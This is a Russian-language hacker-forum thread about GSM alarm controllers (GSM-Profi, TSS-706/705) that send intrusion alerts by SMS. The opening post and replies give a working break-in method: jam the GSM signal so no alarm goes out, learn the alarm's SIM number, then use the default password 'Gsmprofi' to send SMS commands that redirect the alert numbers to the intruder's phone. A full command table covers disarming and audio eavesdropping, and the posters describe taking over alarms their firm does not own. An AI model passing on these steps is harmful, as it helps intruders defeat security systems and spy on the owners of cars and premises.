Контроллер GSM "или сигнализация под нашим контролем"

Discussion in 'Электроника и Фрикинг' started by Liar, 25 Sep 2007.

  1. Liar

    Liar Active Member

    Joined:
    17 May 2007
    Messages:
    191
    Likes Received:
    205
    Reputations:
    20
    И так в связи с своей работой я имею дело с сигнализациями которые производят передачу информации о попытках пронекновения на охраняемый участок\объект посредством смс службе безопасности,после установки нескольких сигнализаций модели (TSS-706(G)\TSS-705(G)\GSM-Profi*) произведённой фирмой "© ООО «Семь Печатей ТСС», " меня заинтересовали баги приводящие к тому что данная сигнализация слагает(несработает) и попытки захвата \\пс:некоторые не пренадлежащие нашей фирме захватить удалось \правдо показательно\ \\
    Вот небольшое описание данных сигнализаций.
    №№№№№№№№№№№№№№№№№№№№№№№№№№№

    Система GSM-Profi
    на основе терминала GSM-Profi-S
    Краткое
    руководство пользователя
    ( для версии прошивки MINI )
    Постановка на охрану на тел. TSM2
    Тревоги на тел.TSM1 и TSM2
    Очеты на TSM2
    ТЕСТ на TSM1
    Задержка тревоги по 1-й зоне от 0 до 54 сек.
    Сообщения о координатах от GPS приемника.




    Программирование контроллера GSM-Profi-S
    Контроллер поставляется сконфигурированным как охранная панель для подключения любых нормально замкнутых охранных датчиков, кнопки “Постановка на охрану” с задержкой на выход 40 сек. и кнопки (контроллера ключей Touch Memory, Proximity-карт, кодонаборного устройства и т.д.) “Снятие с охраны”. При постановке на охрану контроллер берет на охрану все 5 охранных шлейфов, при снятии с охраны, с 1 по 3 шлейфы снимаются, а 4 и 5 остаются под охраной (тревожная кнопка, пожарные датчики). Регулируемая задержка тревоги по 1 шлейфу. Тревожное реле №1, время тревоги – 2 мин. Реле №2 и №3 предназначены для управления бытовыми приборами обязательно через дополнительные силовые реле на 12 В (например, автомобильные). В режиме “Охрана” тревожные сообщения передаются от любого из 5 датчиков на 2 запрограммированных в контроллер телефона в виде SMS—сообщений, в режиме «Снято с охраны» только от 4 и 5 датчика, соответственно, срабатывает и тревожное реле №1.
    Внимание !
    Перед подключением телефона к контроллеру батарея телефона должна быть полностью заряжена.
    Заряд батареи телефона осуществляется контроллером после тестирования (каждый час) и только в случае если заряд батареи ниже 40%.
    Для обеспечения длительной работоспособности телефона необходимо не реже одного раза в месяц проводить УХОД ЗА АККУМ в разделе Настройки стр.52 Руководства по эксплуатации телефона. Не реже чем раз в два года следует заменять аккумулятор телефона.
    №№№№№№№№№№№№№№№№№№№№№№№№№№№№№

    и

    №№№№№№№№№№№№№№№№№№№№№№№№№№№№№
    Контроллер TSS-706(G)

    Краткое
    руководство пользователя
    ( для версии прошивки Mob-Audio-GPS)
    Постановка на охрану на тел. TSM1 и TSM2
    Тревоги -на тел.TSM1 и TSM2
    Отчеты на TSM2
    Задержка тревоги от сенсора 1 от 0 до 27 сек.
    Запрос TST1 ответ о состоянии охраны на тел. TSM1
    Сообщения о координатах на тел. TSM2
    Прослушивание аудио обстановки на тел. TSM2

    Общие сведения.
    Контроллер TSS-706(G) контроллер оповещений автоматики и управления для автомобиля.
    Устанавливается на автомобиль (другие транспортные средства) и является многофункциональным электронным устройством, выполняющим функции оповещения, автоматического блокирования и дистанционного управления системами транспортного средства (зажигание, бензопровод, сигнализация и др.). Позволяет прослушивать аудио обстановку в салоне транспортного средства, для комплектации (G) получать географические координаты, скорость движения и курс. Оповещения о тревогах, сообщения постановки на охрану, снятии с охраны контроллер посылает на 2 запрограммированных в память контроллера номера телефона (TSM1, TSM2) отчеты о выполненных контроллером командах на главный телефон (TSM2) сети GSM в виде SMS сообщений с указанием имени контроллера и номера охранной зоны (датчика). Команды управления на контроллер посылаются в виде SMS команд с заранее установленным в контроллер паролем (8 знаков).



    у контролёра серии TSS-705(G) есть так же возможность подключения видеокамеры и просмотра происходящего посредством получения картинок на тел.

    №№№№№№№№№№№№№№№№№№№№№№№№№№№№№№

    И так просто вывести сигнализацию из строя (пассивно) чтоб она не отослала сигнал тревоги несложно для этого достаточно изготовить GSM-jammer (глушитель) схему можно найти в инете или же проследовать по ссылки (http://www.qrz.ru/schemes/contribute/security/jammers/jammer17-4.png ) можно купить (что будет проще), и в близи данного устройства включить глушилку , вот и всё данная сигнализация не сможет отослать на пульт\телефон сигнал тревоги службе безопасности так как gsm сигнал посредством которого передаются смс глушится (этот способ наиболее приемлем для сигнализаций типа TSS-706(G)\TSS-705(G) причину напишу ниже) но если у нас есть время (а в случае подготовленного проникновения на охраняемый обэект оно у нас есть) мы узнаем номер(телефонный) симкарты через который она передаёт сигнал тревоги и вот здесь проще простого узнать тел.номер объектовой_сигнализации типа GSM-Profi-S так как к блоку сигнализации посредством специального кабеля подключается мобильный телефон (в сигнализациях типа TSS-706(G)\TSS-705(G) сим карта вставляется в сам корпус сигнализации что затрудняет доступ к данной сим карте) и так вот получив доступ к данному телефону который используется как промежуточный модем между службой безопасности и самой сигнализацией (как получить доступ думайте сами "но поможет_умение_общаться\свои_люди") делаем себе вызов на тел.
    и так мы узнали тел номер данной сигнализации далее меняем основной номер телефона на который приходит смс на свой посредством смс команды "GSMPROFI_TSM2_711111111111_OK " где знак "_" является пробелом а "711111111111" вашим номером телефона Внимание формат номера должен быть именно 7 а не +7 , далее после того как мы делаем свои тел главным отключаем или меняем дублирующий номер тел (GSMPROFI TSM1 70957130418 OK) и вот здесь уже сигнализация в наших руках (более подробную инструкцию по данным сигнализациям можете скачать здесь http://liar-rail.jino-net.ru/31337.rar ).
     
    2 people like this.
  2. Liar

    Liar Active Member

    Joined:
    17 May 2007
    Messages:
    191
    Likes Received:
    205
    Reputations:
    20
    Краткий перечень команд

    Code:
     
    [COLOR=DarkRed]№[/COLOR]	КОМАНДА	                             СМЫСЛ КОМАНДЫ	                           ЗАПРОС	             СМЫСЛ ЗАПРОСА	 
    [COLOR=DarkRed]1[/COLOR]	GSMPROFI TSM2 79027148090 OK	     Запись № главного.телефона.	        GSMPROFI TSM2 OK	Какой № главного телефона.	   
    [COLOR=DarkRed]2[/COLOR]	GSMPROFI TSM1 70957130418 OK	     Запись № тел. оповещения.	            GSMPROFI TSM1 OK	Какой № тел. оповещения.	   
    [COLOR=DarkRed]3[/COLOR]	GSMPROFI TIME 03 08 12 35 OK	     Установка времени и даты.	            GSMPROFI TIME OK	Какое время и дата в контроллере.	   
    [COLOR=DarkRed]4[/COLOR]	GSMPROFI NAME Prifi099 OK	         Запись имени контроллера.	            GSMPROFI NAME OK	Каково имя контроллера.	   
    [COLOR=DarkRed]5[/COLOR]	GSMPROFI PNEW GSMPROFI GSMPROFI OK	 Запись пароля доступа.	                НЕТ	-	   
    [COLOR=DarkRed]6[/COLOR]	GSMPROFI ZAD1 9 OK	                 Установка зад. 1-й зоны.	            НЕТ	-	   
    [COLOR=DarkRed]7[/COLOR]	GSMPROFI KNOP X OK	                 Отключение кнопок пост. »НА ОХР.»	    GSMPROFI KNOP OK	Вкл.или выкл. функция  упр.кнопоками.	   
    [COLOR=DarkRed]8[/COLOR]	GSMPROFI KNOP K OK	                 Включение кнопок пост. »НА ОХР.»	    GSMPROFI KNOP OK	Вкл.или выкл. функция  упр.кнопоками.	   
    [COLOR=DarkRed]9[/COLOR]	GSMPROFI STRI 3 60 40 1 2 OK	     Задание порогов 3датч. и вкп. 2 реле.	GSMPROFI STRI X OK	Какие пороги сенсоров н.о. или н.з. и Реле	   
    [COLOR=DarkRed]10[/COLOR]	GSMPROFI AUTM 111 OK	             Задание реж.автоматики.	            GSMPROFI AUTM OK	Вкл.или выкл.автоматика реле.	   
    [COLOR=DarkRed]11[/COLOR]	GSMPROFI SMSA 111111 OK            	 Задание реж. передачи SMS.	            GSMPROFI SMSA OK	SMS от каких сенсоров передается.	   
    [COLOR=DarkRed]12[/COLOR]	GSMPROFI TMRI 010 2 OK	             Задание времени вкл.сост. реле.	    GSMPROFI TMRI OK	Таймеры включенного состояния реле.	   
    [COLOR=DarkRed]13[/COLOR]	GSMPROFI RONI 2 OK	                 Включить соответствующее реле	            НЕТ	-	   
    [COLOR=DarkRed]14[/COLOR]	GSMPROFI ROFI 2 OK	                 Выключить соответствующее реле.	         НЕТ	-	   
    [COLOR=DarkRed]15[/COLOR]	GSMPROFI SECR 1 OK	                 Постановка “На ОХР.”	                GSMPROFI SECR OK	На охране или нет 1,2,3 сенсоры.	   
    [COLOR=DarkRed]16[/COLOR]	GSMPROFI SECR 0 OK	                 Снятие “С ОХР.”	                    GSMPROFI SECR OK	На охране или нет 1,2,3 сенсоры.	   
    [COLOR=DarkRed]17[/COLOR]	GSMPROFI PORT P OK	                 Настриить порт на принтер.	            GSMPROFI PORT OK	На что настроен порт.	   
    [COLOR=DarkRed]18[/COLOR]	GSMPROFI PORT G OK	                 Настроить порт на GPS приемник.	    GSMPROFI PORT OK	На что настроен порт.	   
    [COLOR=DarkRed]19[/COLOR]	GSMPROFI AUDI OK	                 Команда прослуш.пом-ия.на TSM2	        GSMPROFI RVLI OK	Каково текущее состояние всех реле.	   
    
     
    1 person likes this.
  3. EmitRemus

    EmitRemus Elder - Старейшина

    Joined:
    22 Apr 2007
    Messages:
    105
    Likes Received:
    55
    Reputations:
    23
    Это очень полезная информация! Продолжай!
     
  4. [Paran0ik]

    [Paran0ik] Elder - Старейшина

    Joined:
    22 Dec 2006
    Messages:
    219
    Likes Received:
    145
    Reputations:
    16
    чтобы сделать вызов надо выключить глушилку, выключаешь глушилку - хозяину тачки уходит смс о взломе...
    не увидел где в командах присутствует пароль =\
     
  5. dscan

    dscan Elder - Старейшина

    Joined:
    23 Feb 2007
    Messages:
    265
    Likes Received:
    127
    Reputations:
    15
    на чем основана передача дааных
     
  6. Liar2

    Liar2 New Member

    Joined:
    26 Sep 2007
    Messages:
    1
    Likes Received:
    2
    Reputations:
    0
    Извиняюсь за павторную регистрацию (под 2 ником ) Просто дома отключили инет а с рабочего по своему логину заходить не хочу \\жалко логин потерять :) \\ *прошу не банить*
    И так при подробном изучении матерьяла (документации )становится понятно что пароль по дефолту является Gsmprofi
    Gsmprofi Tsm2 7111111111 Ok - давай разберём по подробнее данную команду Gsmprofi -- пас по дефолту (не кто не когда не меняет потомучто так удобнее) , Tsm2--главный тел номер в междунородном формате Ok -- закрепление команды.
    зы1 Посредством смс,
    зы2 попробуй отправить сообщение там где нет сети
     
    2 people like this.
  7. Liar

    Liar Active Member

    Joined:
    17 May 2007
    Messages:
    191
    Likes Received:
    205
    Reputations:
    20
    И так фото сесия девайсов, для чего, запоминаем, ибо в скором времени будем делать умный дом для себя с минимальными затратами, и так видеоглазок который пишет всё происходящее за дверью, имеет встроенный датчик движения и память на 2 часа видео около 1000 фотокадров стоимость у нас 11000р" возможно ошибаюсь поправте " подробности после праздников!!
    http://slil.ru/25319801

    старана его с которой присходит просмотр, имеет флеш карту которую можно просмотреть на компе при наличие считывателя " помоему микро сд"

    http://slil.ru/25319844
    скрытая видеокамера, снаружи как обычный болт под крестовую отвёртку " обсудим как подключть к телевизору , стоимост " у нас 800 р"
    http://slil.ru/25319818


    И бонус фото платы игровых автоматов " сегодня фоткал , хочу купить игровой автомат стоимость 2500 уе , для опытов,баги искать будем вместе ;)
    http://slil.ru/25319868

    http://slil.ru/25319896

    И так вопрос чтоб не было это в пустоту продалжать мне это или нет? " сегодня скорее всего будет фотосесия "Контроллер GSM" так как он является неотъемлемой частью нашего дома для дистанционного управления " возможно один из таких контролёров будет призом в конце нашего эксперимента "
     
    #7 Liar, 5 Jan 2008
    Last edited: 5 Jan 2008
    1 person likes this.
  8. Animal

    Animal Elder - Старейшина

    Joined:
    19 Oct 2007
    Messages:
    221
    Likes Received:
    89
    Reputations:
    6
    Liar, конечно продолжай! Материал очень ценный, т.к. у тебя есть возможность экспериментировать с изучаемым железом. А GSM-модули сейчас очень активно внедряются в сфере безопасности, да и не только безопасности. :)
     
  9. Liar

    Liar Active Member

    Joined:
    17 May 2007
    Messages:
    191
    Likes Received:
    205
    Reputations:
    20
    "SmartVideo"

    И так в связи с загруженностью на работе нет времени на ачат, вернее на то чтоб писать посты, но сейчас выдалась минута свобоного времени и поэтому решил выложить архив с программой смарт-видео
    небольшое описание её:

    В данном архиве содержится " образ диска который поставляется с платой данной системы.
    Это всё можно скачать с оф. сайта по адресу : http://www.smartvideo.ru/ раздел : download/ но переодически они закрывают возможность скачать, целесообразность изучения данной системы обуславливается тем что на очень многих предприятиях и фирмах установленна данная система, и большенство этих компьютеров подключенно к локальной сети\интернету для возможности удаллённого просмотра видео через интернет.

    ссылка на закачанный мной фаил: http://liar-rail.jino-net.ru/smart.rar pass на архив: античат_liar.